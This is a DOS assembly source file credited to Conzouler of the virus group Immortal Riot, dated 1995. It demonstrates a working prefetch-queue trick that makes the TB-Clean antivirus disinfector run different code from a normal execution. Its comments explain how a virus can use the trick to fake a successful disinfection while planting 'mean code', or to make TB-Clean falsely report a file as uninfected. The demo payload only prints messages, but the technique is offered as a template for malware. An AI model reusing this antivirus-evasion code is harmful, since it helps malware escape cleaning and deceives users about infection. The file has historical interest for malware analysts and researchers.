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89 lines
3.1 KiB
NASM
89 lines
3.1 KiB
NASM
;
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; How to fool TB-Clean using the prefetch queue.
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;
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; Conzouler / Immortal Riot 1995.
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;
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; (Ideas from 40Hex magazine issue 7)
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;
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; Debuggers like TB-Clean reads one instruction a time from
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; memory while the processor will read 16 and put them in a
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; prefetch queue. Therefore, if you change code that already
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; is is in the prefetch the change won't affect the program
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; when run normally, but if the program is run with TB-Clean
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; it will run the changed code.
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; Any branch (jumps, calls, ints and rets) will flush the
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; prefetch and 16 bytes will be read from the new position.
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; So, you can change the location of a jump to make some
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; code run if a debugger is used but another when executed
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; normally. Get it?
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; The fun part with TB-Clean is that you can use this tech-
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; nique to simulate a program restoration but instead you
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; put some mean code instead of the original program.
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;
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; You can also just do an int20 when tbscan is executed and
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; make TB-Clean say: "File might not be infected at all or
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; is damaged by an overwriting virus". Which is exactly what
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; TB-Clean would say if the file wasn't infected in the first
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; place.
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;
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; Try to compile this code and run it, then use TB-Clean on it
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; and rerun the "cleaned" file.
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;
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.model tiny
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.code
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org 100h
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start:
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jmp entry
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; Carrier file...
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carrier db 1+offset nodebug-offset debug dup(90h)
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; Your code...
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entry:
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call delta ; Get delta offset.
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delta: pop si ; TbScan will detect this
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; but this is about fooling
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; TbClean.
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mov byte ptr ds:[$+6], 0 ; This changes the jump.
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jmp short nodebug ; If this is a near jump
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; you'll have to make above
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; a word ptr and add 7 instead.
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; Here is the code that simulates a restoration.
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mov di, 100h ; Offset to entry point.
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push di ; Save to perform a ret later
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add si, offset debug - offset delta
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; Relative offset to routine
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; to put at entry point.
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mov cx, offset nodebug - offset debug
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; Size of routine.
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rep movsb ; Move the code.
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ret ; Jump to entry point.
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debug:
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; Here is the routine TBClean will put in the restored program.
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mov ah, 9 ; Display string.
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mov dx, 100h + offset tbsux - offset debug
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int 21h
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ret ; Instead of int20
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tbsux db 'TB-Clean stinks!!!',7,'$'
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nodebug:
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; Here is your normal code.
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mov ah, 9h ; Display string
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add si, offset msg - offset delta
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mov dx, si
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int 21h
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int 20h
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msg db 'Hi dudez.. tbclean cannot disinfect diz...$'
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end start
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